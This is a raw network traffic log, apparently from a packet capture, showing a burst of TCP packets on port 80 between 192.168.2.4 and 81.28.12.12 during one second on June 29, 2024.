Jun 29, 2024 08:05:09.083802938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.083827972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.083853960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.083885908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.083905935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.083934069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.084441900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.084517002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.084546089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.084574938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.084595919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.084615946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.084646940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.084678888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.084700108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.084728956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.084753036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.084800959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.085305929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.085357904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.085378885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.085407019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.085454941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.085479021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.085510015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.085532904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.085565090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.085582018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.085629940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.086266994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.086319923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.086340904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.086388111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.086412907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.086447001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.086466074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.086488008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.086515903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.086548090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.086568117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.086599112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.087222099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.087275028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.087291956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.087325096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.087346077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.087373018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.087397099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.087431908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.087445021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.087477922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.087491989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.087524891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.087959051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.088009119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.088030100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.088078022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.376203060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.376238108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.376295090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.376318932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.376355886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.376374006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.376408100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.376441002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.376461029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.376513958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.376597881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.376630068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.376678944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.376703024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.376734018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.376753092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.376774073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.376802921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.376851082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.377468109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.377502918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.377537012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.377561092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.377590895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.377610922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.377628088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.377660036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.377691984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.377712011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.377728939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.378271103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.378324032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.378345013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.378371000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.378412962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.378447056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.378482103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.378501892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.378526926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.379070044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.379098892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.379132032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.379153967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.379204035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.379244089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.379264116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.379293919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.379327059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.379348040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.379376888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.379925966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.379955053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.379987955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.380019903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.380037069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.380069017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.380253077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.380449057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.380526066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.380582094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.380631924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.380666018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.380685091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.380714893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.380734921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.380768061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.380816936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.381284952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.381337881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.381371021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.381407022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.381433964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.381467104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.381488085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.381510019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.381537914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.381570101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.381623030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.382205009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.382256985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.382307053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.382328987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.382360935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.382383108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.382415056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.382433891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.382460117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.382911921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.382972002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.383057117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.383101940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.383124113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.383166075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.383193016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.383234024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.383248091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.383275986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.383299112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.383331060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.383352995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.383373976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.383865118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.383919001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.383939981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.383985996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.384011030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.384043932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.384063959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.384088993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.384114027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.384145975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.384166956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.384191036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.384634018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.384682894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.384695053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.384727955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.384746075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.384776115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.384793997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.384819984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.670095921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.670146942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.670183897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.670253038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.670272112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.670308113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.670309067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.670357943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.670411110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.670437098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.670469999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.670490980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.670521975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.670562029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.670593977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.670614004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.670643091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.670687914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.670721054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.670742035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.670768976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.671140909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.671190023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.671216965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.671246052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.671266079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.671305895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.671334028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.671375990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.671390057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.671426058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.671474934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.672172070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.672200918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.672228098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.672250032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.672292948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.672327995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.672360897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.672380924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.672406912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.672435045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.672498941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.672899008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.672931910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.672951937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.672975063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.673022985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.673054934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.673074961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.673099995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.673127890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.673160076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.673180103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.673197031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.673755884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.673825026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.673857927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.673880100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.673903942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.673948050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.673980951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.674000025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.674019098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.674048901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.674096107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.674575090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.674603939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.674624920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.674644947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.674699068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.674731970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.674751997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.674774885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.674803972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.674844980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.674859047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.674887896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.675470114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.675523043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.675544024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.675587893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.675623894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.675657034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.675676107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.675700903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.675725937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.675756931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.675776958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.675801992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.676206112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.676259041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.676279068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.676307917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.676326990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.676351070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.676420927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.676454067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.676531076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.676554918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.676603079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.677078009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.677107096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.677129030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.677150011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.677197933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.677229881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.677248955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.677275896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.677301884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.677335024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.677357912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.677386999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.677957058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.677984953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.678008080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.678026915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.678078890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.678112030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.678132057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.678155899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.678183079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.678214073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.678234100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.678234100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.678807020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.678838968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.678867102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.678891897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.963875055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.963912964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.963928938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.963963985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.963980913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.963996887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.964025974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.964035988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.964132071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.964205027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.964221001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.964250088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.964263916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.964276075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.964287996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.964302063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.964322090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.965009928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.965049028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.965059042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.965071917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.965086937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.965106964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.965118885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:09.965157986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:09.965172052 CEST	80	49731	81.28.12.12	192.168.2.4
